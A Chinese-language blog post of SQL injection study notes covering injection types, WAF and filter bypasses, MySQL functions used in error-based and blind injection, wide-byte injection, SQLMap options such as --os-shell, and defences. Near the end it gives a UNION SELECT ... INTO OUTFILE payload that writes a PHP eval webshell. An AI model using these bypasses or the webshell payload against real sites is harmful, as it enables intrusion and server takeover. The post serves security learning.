SQL注入漏洞

 

SQL注入漏洞原理:

SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。构造非法SQL语句,来获取mysql数据库的信息。

SQL注入的危害:

数据库信息泄露、网页篡改、网站挂马、数据库被恶意操控、服务器被远程控制、破坏硬盘数据、

SQL注入的方法:

从注入参数类型分

数字型注入、字符型注入、搜索型注入

从注入方法分

基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入

从提交方式分:

GET注入、POST注入、COOKIE注入、HTTP头注入

SQL注入绕过方法:

注释符号绕过(--,#,/**/,;),

大小写绕过,

内联注释绕过,

双写关键字绕过,

特殊编码绕过,

空格过滤绕过,

过滤 or and xor not 绕过,

过滤大小于号绕过,

过滤引号、逗号绕过,

函数绕过

SQL注入过waf思路:

1、内联注释绕过

2、填充脏数据绕过

3、更改请求方式,如GET改为POST

4、随机agent绕过

5、fuzz过滤函数,函数替换绕过

6、sqlmap,tamper脚本绕过----上述思路

MySQL注入常用函数:

database()                   返回当前数据库名

user()                           返回当前数据库用户名,可替代函数:@@user

updatexml()                  更新xml文档,常用于报错注入,可替代函数:extractvalue()

mid()                            从指定字段中提取出字段的内容

limit()                           返回结果中的前几条数据或者中间的数据

concat()                       返回参数产生的字符串

group_concat()            分组拼接函数 ,可替代函数:concat_ws()

count()                         返回指定参数的数目

rand()                          参数0~1个随机数

flood()                         向下取整

substr()                       截取字符串 ,可替代函数:substring() mid()

ascii()                          返回字符串的ascii码

left()                             返回字符串最左边指定个数的字符

ord()                            返回字符的ascii码

length()                        返回字符串长度

sleep()                         延时函数

报错注入的函数有哪几个:

1.updatexml()函数,2.extractvalue()函数,3.floor()函数,4.Exp()函数

如何突破注入时字符被转义

1、宽字节注入,2、hex编码绕过

宽字节注入产生的原理以及根本原因

        宽字节注入主要利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字,当php中addslash和magic_quotes_gpc开启时,会对单引号(0x27)进行转义,形成’的形式,\的16进制编码是0x5c,当使用GBK编码时,0x5c前如果出现类似0xdf之类的字符,就会结合形成一个汉字,结果就是0xdf5c27,而0xdf5c会结合成一个汉字,后面的引号(27)自然就再次生效(转义失效,被df吃掉了),这就是宽字节注入的原理。

SQLMap常用参数?

:-u 指定url

-r 指定请求数据包的文本文件

-m 批量跑get注入

–current-db 获取当前数据库

–table 获取指定数据库下的数据表

–tamper 指定tamper脚本,进行bypass

–os-shell 获取shell

–random-agent 随机指定user-agent

MySQL 写 WebShell 有几种方式,利用条件?

一、

union select 后写入

lines terminated by 写入

lines starting by 写入

fields terminated by 写入

COLUMNS terminated by 写入

二、

root 权限

GPC 关闭(能使用单引号),magic_quotes_gpc=On

有绝对路径(读文件可以不用,写文件必须)

没有配置–secure-file-priv

成功条件:有读写的权限,有 create、insert、select 的权限

SQL 注入时当 and、or、单引号等字符被过滤了怎么办?

大小写变形

改变编码

添加注释

往字符里面插入被过滤的字符(双写法)

利用符号形式

数字被注释(1、2等)

使用浮点数

符号被注释(<、>等)

利用函数代替

sql 注入写文件都有哪些函数?

union select "<?php @eval($_POST['123']);?>",2 into outfile

"C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit

SQL注入的防御:

用户的权限严格区分、强迫使用参数化语句、加强对用户输入的验证、正则表达式过滤、装WAF。

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值